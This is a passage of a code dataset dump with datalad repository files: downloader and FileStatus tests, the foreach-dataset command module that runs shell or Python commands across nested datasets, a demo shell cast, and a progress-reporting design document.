0.5900402665138245,\n \"avg_line_length\": 30.55555534362793,\n \"blob_id\": \"3a9cb38862607f87ab7c88fc6656034dd069b011\",\n \"content_id\": \"5f7084ca07d564c00cc8cbb366feb87b7fefe3c1\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1988,\n \"license_type\": \"permissive\",\n \"max_line_length\": 87,\n \"num_lines\": 63,\n \"path\": \"/datalad/downloaders/tests/test_shub.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Tests for shub:// downloader\\\"\\\"\\\"\\n\\nfrom datalad.downloaders.shub import SHubDownloader\\nfrom datalad.support.exceptions import DownloadError\\nfrom datalad.tests.utils_pytest import (\\n assert_raises,\\n ok_file_has_content,\\n serve_path_via_http,\\n with_tempfile,\\n)\\nfrom datalad.utils import (\\n Path,\\n create_tree,\\n)\\n\\n\\n@with_tempfile(mkdir=True)\\n@serve_path_via_http\\ndef test_downloader_bad_query(urlpath=None, url=None):\\n downloader = SHubDownloader()\\n downloader.api_url = url\\n with assert_raises(DownloadError):\\n downloader.download(\\\"shub://org/repo\\\", urlpath)\\n\\n\\n@with_tempfile(mkdir=True)\\n@serve_path_via_http\\ndef test_downloader_bad_json(urlpath=None, url=None):\\n downloader = SHubDownloader()\\n downloader.api_url = url\\n create_tree(urlpath,\\n tree={\\\"org\\\": {\\\"repo\\\": ''}})\\n with assert_raises(DownloadError):\\n downloader.download(\\\"shub://org/repo\\\", urlpath)\\n\\n\\n@with_tempfile(mkdir=True)\\n@serve_path_via_http\\n@with_tempfile(mkdir=True)\\ndef test_downloader_download(urlpath=None, url=None, path=None):\\n path = Path(path)\\n downloader = SHubDownloader()\\n downloader.api_url = url\\n create_tree(urlpath,\\n tree={\\\"data\\\": \\\"foo\\\",\\n \\\"org\\\": {\\\"repo\\\":\\n '{{\\\"name\\\":\\\"org/repo\\\",\\\"image\\\":\\\"{}\\\"}}'\\n .format(url + \\\"data\\\")}})\\n\\n target = str(path / \\\"target\\\")\\n downloader.download(\\\"shub://org/repo\\\", target)\\n ok_file_has_content(target, \\\"foo\\\")\\n\\n other_target = str(path / \\\"other-target\\\")\\n downloader.download(\\\"shub://org/repo\\\", other_target)\\n\"\n },\n {\n \"alpha_fraction\": 0.5500293374061584,\n \"alphanum_fraction\": 0.5510432720184326,\n \"avg_line_length\": 40.36644744873047,\n \"blob_id\": \"64fd3438efef51964e073c2d5048394716d064ff\",\n \"content_id\": \"23418a977f4d649bb61408eed6f57e3deb5da17d\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\",\n \"LicenseRef-scancode-unknown-license-reference\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 18739,\n \"license_type\": \"permissive\",\n \"max_line_length\": 116,\n \"num_lines\": 453,\n \"path\": \"/datalad/local/foreach_dataset.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 noet:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Plumbing command for running a command on each (sub)dataset\\\"\\\"\\\"\\n\\n__docformat__ = 'restructuredtext'\\n\\n\\nimport inspect\\nimport logging\\nimport os.path as op\\nimport sys\\nfrom typing import Union\\n\\nfrom argparse import REMAINDER\\nfrom itertools import chain\\nfrom tempfile import mkdtemp\\n\\nfrom datalad.cmd import NoCapture, StdOutErrCapture\\nfrom datalad.core.local.run import normalize_command\\n\\nfrom datalad.distribution.dataset import (\\n Dataset,\\n EnsureDataset,\\n datasetmethod,\\n require_dataset,\\n)\\nfrom datalad.interface.base import (\\n Interface,\\n build_doc,\\n eval_results,\\n)\\nfrom datalad.interface.common_opts import (\\n contains,\\n dataset_state,\\n jobs_opt,\\n recursion_flag,\\n recursion_limit,\\n)\\nfrom datalad.interface.results import get_status_dict\\nfrom datalad.support.constraints import (\\n EnsureBool,\\n EnsureChoice,\\n EnsureNone,\\n)\\nfrom datalad.support.exceptions import InsufficientArgumentsError\\nfrom datalad.support.parallel import (\\n ProducerConsumer,\\n ProducerConsumerProgressLog,\\n no_parentds_in_futures,\\n no_subds_in_futures,\\n)\\nfrom datalad.support.param import Parameter\\nfrom datalad.utils import (\\n SequenceFormatter,\\n chpwd as chpwd_cm,\\n getpwd,\\n nothing_cm,\\n shortened_repr,\\n swallow_outputs,\\n)\\n\\nlgr = logging.getLogger('datalad.local.foreach_dataset')\\n\\n\\n_PYTHON_CMDS = {\\n 'exec': exec,\\n 'eval': eval\\n}\\n\\n# Centralize definition with delayed assignment for 'auto' for each case\\n_SAFE_TO_CONSUME_MAP = {\\n 'auto': lambda: 1/0, # must be defined based on bottomup\\\"\\n 'all-subds-done': no_subds_in_futures,\\n 'superds-done': no_parentds_in_futures,\\n 'always': None\\n}\\n\\n@build_doc\\nclass ForEachDataset(Interface):\\n r\\\"\\\"\\\"Run a command or Python code on the dataset and/or each of its sub-datasets.\\n\\n This command provides a convenience for the cases were no dedicated DataLad command\\n is provided to operate across the hierarchy of datasets. It is very similar to\\n `git submodule foreach` command with the following major differences\\n\\n - by default (unless [CMD: --subdatasets-only CMD][PY: `subdatasets_only=True` PY]) it would\\n include operation on the original dataset as well,\\n - subdatasets could be traversed in bottom-up order,\\n - can execute commands in parallel (see `jobs` option), but would account for the order,\\n e.g. in bottom-up order command is executed in super-dataset only after it is executed\\n in all subdatasets.\\n\\n Additional notes:\\n\\n - for execution of \\\"external\\\" commands we use the environment used to execute external\\n git and git-annex commands.\\n\\n *Command format*\\n\\n || REFLOW >>\\n [CMD: --cmd-type external CMD][PY: cmd_type='external' PY]: A few placeholders are\\n supported in the command via Python format specification:\\n << REFLOW ||\\n\\n\\n - \\\"{pwd}\\\" will be replaced with the full path of the current working directory.\\n - \\\"{ds}\\\" and \\\"{refds}\\\" will provide instances of the dataset currently\\n operated on and the reference \\\"context\\\" dataset which was provided via ``dataset``\\n argument.\\n - \\\"{tmpdir}\\\" will be replaced with the full path of a temporary directory.\\n \\\"\\\"\\\"\\n _examples_ = [\\n dict(text=\\\"Aggressively git clean all datasets, running 5 parallel jobs\\\",\\n code_py=\\\"foreach_dataset(['git', 'clean', '-dfx'], recursive=True, jobs=5)\\\",\\n code_cmd=\\\"datalad foreach-dataset -r -J 5 git clean -dfx\\\"),\\n ]\\n\\n _params_ = dict(\\n cmd=Parameter(\\n args=(\\\"cmd\\\",),\\n nargs=REMAINDER,\\n metavar='COMMAND',\\n doc=\\\"\\\"\\\"command for execution. [CMD: A leading '--' can be used to\\n disambiguate this command from the preceding options to DataLad.\\n For --cmd-type exec or eval only a single\\n command argument (Python code) is supported. CMD]\\n [PY: For `cmd_type='exec'` or `cmd_type='eval'` (Python code) should\\n be either a string or a list with only a single item. If 'eval', the\\n actual function can be passed, which will be provided all placeholders\\n as keyword arguments. PY]\\n \\\"\\\"\\\"),\\n cmd_type=Parameter(\\n args=(\\\"--cmd-type\\\",),\\n constraints=EnsureChoice('auto', 'external', 'exec', 'eval'),\\n doc=\\\"\\\"\\\"type of the command. `external`: to be run in a child process using dataset's runner;\\n 'exec': Python source code to execute using 'exec(), no value returned;\\n 'eval': Python source code to evaluate using 'eval()', return value is placed into 'result' field.\\n 'auto': If used via Python API, and `cmd` is a Python function, it will use 'eval', and\\n otherwise would assume 'external'.\\\"\\\"\\\"),\\n # Following options are taken from subdatasets\\n dataset=Parameter(\\n args=(\\\"-d\\\", \\\"--dataset\\\"),\\n doc=\\\"\\\"\\\"specify the dataset to operate on. If\\n no dataset is given, an attempt is made to identify the dataset\\n based on the input and/or the current working directory\\\"\\\"\\\",\\n constraints=EnsureDataset() | EnsureNone()),\\n state=dataset_state,\\n recursive=recursion_flag,\\n recursion_limit=recursion_limit,\\n contains=contains,\\n bottomup=Parameter(\\n args=(\\\"--bottomup\\\",),\\n action=\\\"store_true\\\",\\n doc=\\\"\\\"\\\"whether to report subdatasets in bottom-up order along\\n each branch in the dataset tree, and not top-down.\\\"\\\"\\\"),\\n # Possible extra options to be introduced if use-case/demand comes\\n # TODO: --diff to provide `diff` record so any arbitrary git reset --hard etc desire could be fulfilled\\n # TODO: --lower-recursion-limit aka --mindepth of find to replace subdatasets-only.\\n # or may be recursion_limit could be made more sophisticated to be able to specify range\\n subdatasets_only=Parameter(\\n args=(\\\"-s\\\", \\\"--subdatasets-only\\\"),\\n action=\\\"store_true\\\",\\n doc=\\\"\\\"\\\"whether to exclude top level dataset. It is implied if a non-empty\\n `contains` is used\\\"\\\"\\\"),\\n output_streams=Parameter(\\n args=(\\\"--output-streams\\\", \\\"--o-s\\\"),\\n constraints=EnsureChoice('capture', 'pass-through', 'relpath'),\\n doc=\\\"\\\"\\\"ways to handle outputs. 'capture' and return outputs from 'cmd' in the record ('stdout',\\n 'stderr'); 'pass-through' to the screen (and thus absent from returned record); prefix with 'relpath'\\n captured output (similar to like grep does) and write to stdout and stderr. In 'relpath', relative path\\n is relative to the top of the dataset if `dataset` is specified, and if not - relative to current\\n directory.\\\"\\\"\\\"),\\n chpwd=Parameter(\\n args=(\\\"--chpwd\\\",),\\n constraints=EnsureChoice('ds', 'pwd'),\\n doc=\\\"\\\"\\\"'ds' will change working directory to the top of the corresponding dataset. With 'pwd'\\n no change of working directory will happen.\\n Note that for Python commands, due to use of threads, we do not allow chdir=ds to be used\\n with jobs > 1. Hint: use 'ds' and 'refds' objects' methods to execute commands in the context\\n of those datasets.\\n \\\"\\\"\\\"),\\n safe_to_consume=Parameter(\\n args=(\\\"--safe-to-consume\\\",),\\n constraints=EnsureChoice(*_SAFE_TO_CONSUME_MAP),\\n doc=\\\"\\\"\\\"Important only in the case of parallel (jobs greater than 1) execution.\\n 'all-subds-done' instructs to not consider superdataset until command finished execution\\n in all subdatasets (it is the value in case of 'auto' if traversal is bottomup).\\n 'superds-done' instructs to not process subdatasets until command finished in the super-dataset\\n (it is the value in case of 'auto' in traversal is not bottom up, which is the default). With\\n 'always' there is no constraint on either to execute in sub or super dataset.\\n \\\"\\\"\\\"),\\n jobs=jobs_opt,\\n )\\n\\n @staticmethod\\n @datasetmethod(name='foreach_dataset')\\n @eval_results\\n def __call__(\\n cmd,\\n *,\\n cmd_type=\\\"auto\\\",\\n dataset=None,\\n state='present',\\n recursive=False,\\n recursion_limit=None,\\n contains=None,\\n bottomup=False,\\n subdatasets_only=False,\\n output_streams='pass-through',\\n chpwd='ds', # as the most common case/scenario\\n safe_to_consume='auto',\\n jobs=None\\n ):\\n if not cmd:\\n raise InsufficientArgumentsError(\\\"No command given\\\")\\n\\n if safe_to_consume not in _SAFE_TO_CONSUME_MAP:\\n raise ValueError(f\\\"safe_to_consume - Unknown value {safe_to_consume!r}. \\\"\\n f\\\"Known are: {', '.join(_SAFE_TO_CONSUME_MAP)}\\\")\\n if safe_to_consume == 'auto':\\n safe_to_consume_func = no_subds_in_futures if bottomup else no_parentds_in_futures\\n else:\\n safe_to_consume_func = _SAFE_TO_CONSUME_MAP[safe_to_consume]\\n\\n if cmd_type == 'auto':\\n cmd_type = 'eval' if _is_callable(cmd) else 'external'\\n\\n python = cmd_type in _PYTHON_CMDS\\n\\n if python:\\n if _is_callable(cmd):\\n if cmd_type != 'eval':\\n raise ValueError(f\\\"Can invoke provided function only in 'eval' mode. {cmd_type!r} was provided\\\")\\n else:\\n # yoh decided to avoid unnecessary complication/inhomogeneity with support\\n # of multiple Python commands for now; and also allow for a single string command\\n # in Python interface\\n if isinstance(cmd, (list, tuple)):\\n if len(cmd) > 1:\\n raise ValueError(f\\\"Please provide a single Python expression. Got {len(cmd)}: {cmd!r}\\\")\\n cmd = cmd[0]\\n\\n if not isinstance(cmd, str):\\n raise ValueError(f\\\"Please provide a single Python expression or a function. Got {cmd!r}\\\")\\n else:\\n if _is_callable(cmd):\\n raise ValueError(f\\\"cmd_type={cmd_type} but a function {cmd} was provided\\\")\\n protocol = NoCapture if output_streams == 'pass-through' else StdOutErrCapture\\n\\n refds = require_dataset(\\n dataset, check_installed=True, purpose='foreach-dataset execution')\\n pwd = getpwd() # Note: 'run' has some more elaborate logic for this\\n\\n #\\n # Producer -- datasets to act on\\n #\\n subdatasets_it = refds.subdatasets(\\n state=state,\\n recursive=recursive, recursion_limit=recursion_limit,\\n contains=contains,\\n bottomup=bottomup,\\n result_xfm='paths',\\n result_renderer='disabled',\\n return_type='generator',\\n )\\n\\n if subdatasets_only or contains:\\n datasets_it = subdatasets_it\\n else:\\n if bottomup:\\n datasets_it = chain(subdatasets_it, [refds.path])\\n else:\\n datasets_it = chain([refds.path], subdatasets_it)\\n\\n #\\n # Consumer - one for all cmd_type's\\n #\\n def run_cmd(dspath):\\n ds = Dataset(dspath)\\n status_rec = get_status_dict(\\n 'foreach-dataset',\\n ds=ds,\\n path=ds.path,\\n command=cmd\\n )\\n if not ds.is_installed():\\n yield dict(\\n status_rec,\\n status=\\\"impossible\\\",\\n message=\\\"not installed\\\"\\n )\\n return\\n # For consistent environment (Python) and formatting (command) similar to `run` one\\n # But for Python command we provide actual ds and refds not paths\\n placeholders = dict(\\n pwd=pwd,\\n # pass actual instances so .format could access attributes even for external commands\\n ds=ds, # if python else ds.path,\\n dspath=ds.path, # just for consistency with `run`\\n refds=refds, # if python else refds.path,\\n # Check if the command contains \\\"tmpdir\\\" to avoid creating an\\n # unnecessary temporary directory in most but not all cases.\\n # Note: different from 'run' - not wrapping match within {} and doing str\\n tmpdir=mkdtemp(prefix=\\\"datalad-run-\\\") if \\\"tmpdir\\\" in str(cmd) else \\\"\\\")\\n try:\\n if python:\\n if isinstance(cmd, str):\\n cmd_f, cmd_a, cmd_kw = _PYTHON_CMDS[cmd_type], (cmd, placeholders), {}\\n else:\\n assert _is_callable(cmd)\\n # all placeholders are passed as kwargs to the function\\n cmd_f, cmd_a, cmd_kw = cmd, [], placeholders\\n\\n cm = chpwd_cm(ds.path) if chpwd == 'ds' else nothing_cm()\\n with cm:\\n if output_streams == 'pass-through':\\n res = cmd_f(*cmd_a, **cmd_kw)\\n out = {}\\n elif output_streams in ('capture', 'relpath'):\\n with swallow_outputs() as cmo:\\n res = cmd_f(*cmd_a, **cmd_kw)\\n out = {\\n 'stdout': cmo.out,\\n 'stderr': cmo.err,\\n }\\n else:\\n raise RuntimeError(output_streams)\\n if cmd_type == 'eval':\\n status_rec['result'] = res\\n else:\\n assert res is None\\n else:\\n try:\\n cmd_expanded = format_command(cmd, **placeholders)\\n except KeyError as exc:\\n yield dict(\\n status_rec,\\n status='impossible',\\n message=('command has an unrecognized placeholder: %s', exc))\\n return\\n out = ds.repo._git_runner.run(\\n cmd_expanded,\\n cwd=ds.path if chpwd == 'ds' else pwd,\\n protocol=protocol)\\n if output_streams in ('capture', 'relpath'):\\n status_rec.update(out)\\n # provide some feedback to user in default rendering\\n if any(out.values()):\\n status_rec['message'] = shortened_repr(out, 100)\\n status_rec['status'] = 'ok'\\n yield status_rec\\n except Exception as exc:\\n # get a better version with exception handling redoing the whole\\n # status dict from scratch\\n yield get_status_dict(\\n 'foreach-dataset',\\n ds=ds,\\n path=ds.path,\\n command=cmd,\\n exception=exc,\\n status='error',\\n message=str(exc)\\n )\\n\\n if output_streams == 'pass-through':\\n pc_class = ProducerConsumer\\n pc_kw = {}\\n else:\\n pc_class = ProducerConsumerProgressLog\\n pc_kw = dict(lgr=lgr, label=\\\"foreach-dataset\\\", unit=\\\"datasets\\\")\\n\\n if python:\\n effective_jobs = pc_class.get_effective_jobs(jobs)\\n if effective_jobs > 1:\\n warning = \\\"\\\"\\n if chpwd == 'ds':\\n warning += \\\\\\n \\\"Execution of Python commands in parallel threads while changing directory \\\" \\\\\\n \\\"is not thread-safe. \\\"\\n if output_streams in ('capture', 'relpath'):\\n warning += \\\\\\n \\\"Execution of Python commands in parallel while capturing output is not possible.\\\"\\n if warning:\\n lgr.warning(\\\"Got jobs=%d. %s We will execute without parallelization\\\", jobs, warning)\\n jobs = 0 # no threading even between producer/consumer\\n\\n yield from pc_class(\\n producer=datasets_it,\\n consumer=run_cmd,\\n # probably not needed\\n # It is ok to start with subdatasets since top dataset already exists\\n safe_to_consume=safe_to_consume_func,\\n # or vice versa\\n jobs=jobs,\\n **pc_kw\\n )\\n\\n @staticmethod\\n def custom_result_renderer(res, **kwargs):\\n from datalad.interface.utils import generic_result_renderer\\n if kwargs.get('output_streams') == 'relpath':\\n from datalad.log import no_progress\\n with no_progress():\\n ds: Union[str, Dataset] = kwargs.get('dataset')\\n if ds:\\n if not isinstance(ds, Dataset):\\n ds = Dataset(ds) # so all ///, ^ etc get treated\\n refpath = ds.path\\n else:\\n refpath = getpwd()\\n for k in ('stdout', 'stderr'):\\n v = res.get(k)\\n if v:\\n path = res.get('path')\\n relpath = op.relpath(path, refpath) if path else ''\\n if relpath == op.curdir:\\n relpath = ''\\n if relpath and not relpath.endswith(op.sep):\\n relpath += op.sep\\n out = getattr(sys, k)\\n for l in v.splitlines():\\n out.write(f\\\"{relpath}{l}\\\\n\\\")\\n else:\\n generic_result_renderer(res)\\n\\n# Reduced version from run\\ndef format_command(command, **kwds):\\n \\\"\\\"\\\"Plug in placeholders in `command`.\\n\\n Parameters\\n ----------\\n dset : Dataset\\n command : str or list\\n\\n `kwds` is passed to the `format` call.\\n\\n Returns\\n -------\\n formatted command (str)\\n \\\"\\\"\\\"\\n command = normalize_command(command)\\n sfmt = SequenceFormatter()\\n return sfmt.format(command, **kwds)\\n\\n\\ndef _is_callable(f):\\n return inspect.isfunction(f) or inspect.isbuiltin(f)\\n\"\n },\n {\n \"alpha_fraction\": 0.76932293176651,\n \"alphanum_fraction\": 0.776512861251831,\n \"avg_line_length\": 37.8139533996582,\n \"blob_id\": \"f59356e737a8434cca3f920c26e2831b823c9df3\",\n \"content_id\": \"0849c6dbfa4b650df1fd8301be1086e0e6856371\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 1669,\n \"license_type\": \"permissive\",\n \"max_line_length\": 144,\n \"num_lines\": 43,\n \"path\": \"/docs/casts/seamless_nested_repos.sh\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"say \\\"DataLad makes a tree of nested Git repositories feel like a big monorepo...\\\"\\n\\nsay \\\"Let's create a root dataset\\\"\\nrun \\\"datalad create demo\\\"\\nrun \\\"cd demo\\\"\\nsay \\\"Any DataLad dataset is just a Git repo with some initial configuration\\\"\\nrun \\\"git log --oneline\\\"\\n\\nsay \\\"We can nest datasets, by telling DataLad to register a new dataset in a parent dataset\\\"\\nrun \\\"datalad create -d . sub1\\\"\\nsay \\\"A subdataset is a regular Git submodule\\\"\\nrun \\\"git submodule\\\"\\n\\nsay \\\"Datasets can be nested arbitrarily deep\\\"\\nrun \\\"datalad create -d . sub1/justadir/sub2\\\"\\n\\nsay \\\"Unlike Git, DataLad automatically takes care of committing all changes associated with the added subdataset up to the given parent dataset\\\"\\nrun \\\"datalad status\\\"\\n\\nsay \\\"Let's create some content in the deepest subdataset\\\"\\nrun \\\"mkdir sub1/justadir/sub2/anotherdir\\\"\\nrun \\\"touch sub1/justadir/sub2/anotherdir/afile\\\"\\n\\nsay \\\"Git only reports changes within a repository, in the case the whole subdataset\\\"\\nrun \\\"git status\\\"\\n\\nsay \\\"DataLad considers the entire tree\\\"\\nrun \\\"datalad status -r\\\"\\n\\nsay \\\"Like Git, it can report individual untracked files, but also across repository boundaries\\\"\\nrun \\\"datalad status -r --untracked all\\\"\\n\\nsay \\\"Adding this new content with Git or git-annex would be an exercise\\\"\\nrun_expfail \\\"git add sub1/justadir/sub2/anotherdir/afile\\\"\\n\\nsay \\\"Again, DataLad does not require users to determine the correct repository\\\"\\nrun \\\"datalad save -d . sub1/justadir/sub2/anotherdir/afile\\\"\\n\\nsay \\\"All associated changes in the entire dataset tree were committed\\\"\\nrun \\\"datalad status\\\"\\n\\nsay \\\"DataLad's 'diff' is able to report the changes from these related commits throughout the repository tree\\\"\\nrun \\\"datalad diff -r -f @~1\\\"\\n\"\n },\n {\n \"alpha_fraction\": 0.7143410444259644,\n \"alphanum_fraction\": 0.7155027985572815,\n \"avg_line_length\": 36.97549057006836,\n \"blob_id\": \"12833308bacbbc1f13e555cd0f51d8b5ccdd11b8\",\n \"content_id\": \"412c6227fe08e3cdd8f45fc6bde450139ff59a6a\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"reStructuredText\",\n \"length_bytes\": 7747,\n \"license_type\": \"permissive\",\n \"max_line_length\": 84,\n \"num_lines\": 204,\n \"path\": \"/docs/source/design/progress_reporting.rst\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \".. -*- mode: rst -*-\\n.. vi: set ft=rst sts=4 ts=4 sw=4 et tw=79:\\n\\n.. _chap_design_progress_reporting:\\n\\n******************\\nProgress reporting\\n******************\\n\\n.. topic:: Specification scope and status\\n\\n This specification describes the current implementation.\\n\\n\\nProgress reporting is implemented via the logging system. A dedicated function\\n:py:func:`datalad.log.log_progress` represents the main API for progress\\nreporting. For some standard use cases, the utilities\\n:py:func:`datalad.log.with_progress` and\\n:py:func:`datalad.log.with_result_progress` can simplify result reporting\\nfurther.\\n\\n\\nDesign and implementation\\n=========================\\n\\nThis basic idea is to use an instance of datalad's loggers to emit log messages\\nwith particular attributes that are picked up by\\n:py:class:`datalad.log.ProgressHandler` (derived from\\n:py:class:`logging.Handler`), and are acted on differently, depending on\\nconfiguration and conditions of a session (e.g., interactive terminal sessions\\nvs. non-interactive usage in scripts). This variable behavior is implemented\\nvia the use of :py:mod:`logging` standard library log filters and handlers.\\nRoughly speaking, :py:class:`datalad.log.ProgressHandler` will only be used for\\ninteractive sessions. In non-interactive cases, progress log messages are\\ninspected by :py:func:`datalad.log.filter_noninteractive_progress`, and are\\neither discarded or treated like any other log message (see\\n:py:meth:`datalad.log.LoggerHelper.get_initialized_logger` for details on the\\nhandler and filter setup).\\n\\n:py:class:`datalad.log.ProgressHandler` inspects incoming log records for\\nattributes with names starting with `dlm_progress`. It will only process such\\nrecords and pass others on to the underlying original log handler otherwise.\\n\\n:py:class:`datalad.log.ProgressHandler` takes care of creating, updating and\\ndestroying any number of simultaneously running progress bars. Progress reports\\nmust identify the respective process via an arbitrary string ID. It is the\\ncaller's responsibility to ensure that this ID is unique to the target\\nprocess/activity.\\n\\n\\nReporting progress with `log_progress()`\\n========================================\\n\\nTypical progress reporting via :py:func:`datalad.log.log_progress` involves\\nthree types of calls.\\n\\n1. Start reporting progress about a process\\n-------------------------------------------\\n\\nA typical call to start of progress reporting looks like this\\n\\n.. code-block:: python\\n\\n log_progress(\\n # the callable used to emit log messages\\n lgr.info,\\n # a unique identifiers of the activity progress is reported for\\n identifier,\\n # main message\\n 'Unlocking files',\\n # optional unit string for a progress bar\\n unit=' Files',\\n # optional label to be displayed in a progress bar\\n label='Unlocking',\\n # maximum value for a progress bar\\n total=nfiles,\\n )\\n\\nA new progress bar will be created automatically for any report with a previously\\nunseen activity ``identifier``. It can be configured via the specification of\\na number of arguments, most notably a target ``total`` for the progress bar.\\nSee :py:func:`datalad.log.log_progress` for a complete overview.\\n\\nStarting a progress report must be done with a dedicated call. It cannot be combined\\nwith a progress update.\\n\\n\\n2. Update progress information about a process\\n----------------------------------------------\\n\\nAny subsequent call to :py:func:`datalad.log.log_progress` with an activity\\nidentifier that has already been seen either updates, or finishes the progress\\nreporting for an activity. Updates must contain an ``update`` key which either\\nspecifies a new value (if `increment=False`, the default) or an increment to\\npreviously known value (if `increment=True`):\\n\\n.. code-block:: python\\n\\n log_progress(\\n lgr.info,\\n # must match the identier used to start the progress reporting\\n identifier,\\n # arbitrary message content, string expansion supported just like\\n # regular log messages\\n \\\"Files to unlock %i\\\", nfiles,\\n # critical key for report updates\\n update=1,\\n # ``update`` could be an absolute value or an increment\\n increment=True\\n )\\n\\nUpdating a progress report can only be done after a progress reporting was\\ninitialized (see above).\\n\\n\\n3. Report completion of a process\\n---------------------------------\\n\\nA progress bar will remain active until it is explicitly taken down, even if an\\ninitially declared ``total`` value may have been reached. Finishing a progress\\nreport requires a final log message with the corresponding identifiers which,\\nlike the first initializing message, does NOT contain an ``update`` key.\\n\\n.. code-block:: python\\n\\n log_progress(\\n lgr.info,\\n identifier,\\n # closing log message\\n \\\"Completed unlocking files\\\",\\n )\\n\\n\\nProgress reporting in non-interactive sessions\\n----------------------------------------------\\n\\n:py:func:`datalad.log.log_progress` takes a `noninteractive_level` argument\\nthat can be used to specify a log level at which progress is logged when no\\nprogress bars can be used, but actual log messages are produced.\\n\\n.. code-block:: python\\n\\n import logging\\n\\n log_progress(\\n lgr.info,\\n identifier,\\n \\\"Completed unlocking files\\\",\\n noninteractive_level=logging.INFO\\n )\\n\\nEach call to :py:func:`~datalad.log.log_progress` can be given a different\\nlog level, in order to control the verbosity of the reporting in such a scenario.\\nFor example, it is possible to log the start or end of an activity at a higher\\nlevel than intermediate updates. It is also possible to single out particular\\nintermediate events, and report them at a higher level.\\n\\nIf no `noninteractive_level` is specified, the progress update is unconditionally\\nlogged at the level implied by the given logger callable. \\n\\n\\nReporting progress with `with_(result_)progress()`\\n==================================================\\n\\nFor cases were a list of items needs to be processes sequentially, and progress\\nshall be communicated, two additional helpers could be used: the decorators\\n:py:func:`datalad.log.with_progress` and\\n:py:func:`datalad.log.with_result_progress`. They require a callable that takes\\na list (or more generally a sequence) of items to be processed as the first\\npositional argument. They both set up and perform all necessary calls to\\n:py:func:`~datalad.log.log_progress`.\\n\\nThe difference between these helpers is that\\n:py:func:`datalad.log.with_result_progress` expects a callable to produce\\nDataLad result records, and supports customs filters to decide which particular\\nresult records to consider for progress reporting (e.g., only records for a\\nparticular `action` and `type`).\\n\\n\\nOutput non-progress information without interfering with progress bars\\n======================================================================\\n\\n:py:func:`~datalad.log.log_progress` can also be useful when not reporting\\nprogress, but ensuring that no other output is interfering with progress bars,\\nand vice versa. The argument `maint` can be used in this case, with no\\nparticular activity identifier (it always impacts all active progress bars):\\n\\n\\n.. code-block:: python\\n\\n log_progress(\\n lgr.info,\\n None,\\n 'Clear progress bars',\\n maint='clear',\\n )\\n\\n\\nThis call will trigger a temporary discontinuation of any progress bar display.\\nProgress bars can either be re-enabled all at once, by an analog message with\\n``maint='refresh'``, or will re-show themselves automatically when the next\\nupdate is received. A :py:func:`~datalad.log.no_progress` context manager helper\\ncan be used to surround your context with those two calls to prevent progress\\nbars from interfering.\\n\"\n },\n {\n \"alpha_fraction\": 0.6125584244728088,\n \"alphanum_fraction\": 0.6359385251998901,\n \"avg_line_length\": 41.771427154541016,\n \"blob_id\": \"d9917beac18bb872bcb24ebcdf7298b3069776c9\",\n \"content_id\": \"31e53f819964347673bbfca0775957424d39e391\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1497,\n \"license_type\": \"permissive\",\n \"max_line_length\": 87,\n \"num_lines\": 35,\n \"path\": \"/datalad/support/tests/test_status.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\nfrom datalad.tests.utils_pytest import (\\n assert_equal,\\n assert_not_equal,\\n)\\n\\nfrom ..status import FileStatus\\n\\n\\ndef test_FileStatus_basic():\\n assert_equal(FileStatus(size=0), FileStatus(size=0))\\n assert_not_equal(FileStatus(size=0), FileStatus(size=1))\\n # mtimes allow trimming if one is int\\n assert_equal(FileStatus(mtime=0), FileStatus(mtime=0.9999))\\n assert_equal(FileStatus(mtime=0), FileStatus(mtime=0.0001))\\n assert_not_equal(FileStatus(mtime=0.2), FileStatus(mtime=0.1))\\n assert_not_equal(FileStatus(mtime=0.2), FileStatus(mtime=None))\\n assert_not_equal(FileStatus(mtime=1), FileStatus(mtime=None))\\n # And with None should be False\\n assert_not_equal(FileStatus(mtime=1), None)\\n assert_not_equal(None, FileStatus(mtime=1))\\n # adding more information would result in not-equal\\n assert_not_equal(FileStatus(size=0), FileStatus(size=0, mtime=123))\\n # empty ones can't be compared\\n # TODO: actually not clear why that NotImplemented singleton is not returned\\n assert_not_equal(FileStatus(), FileStatus())\\n 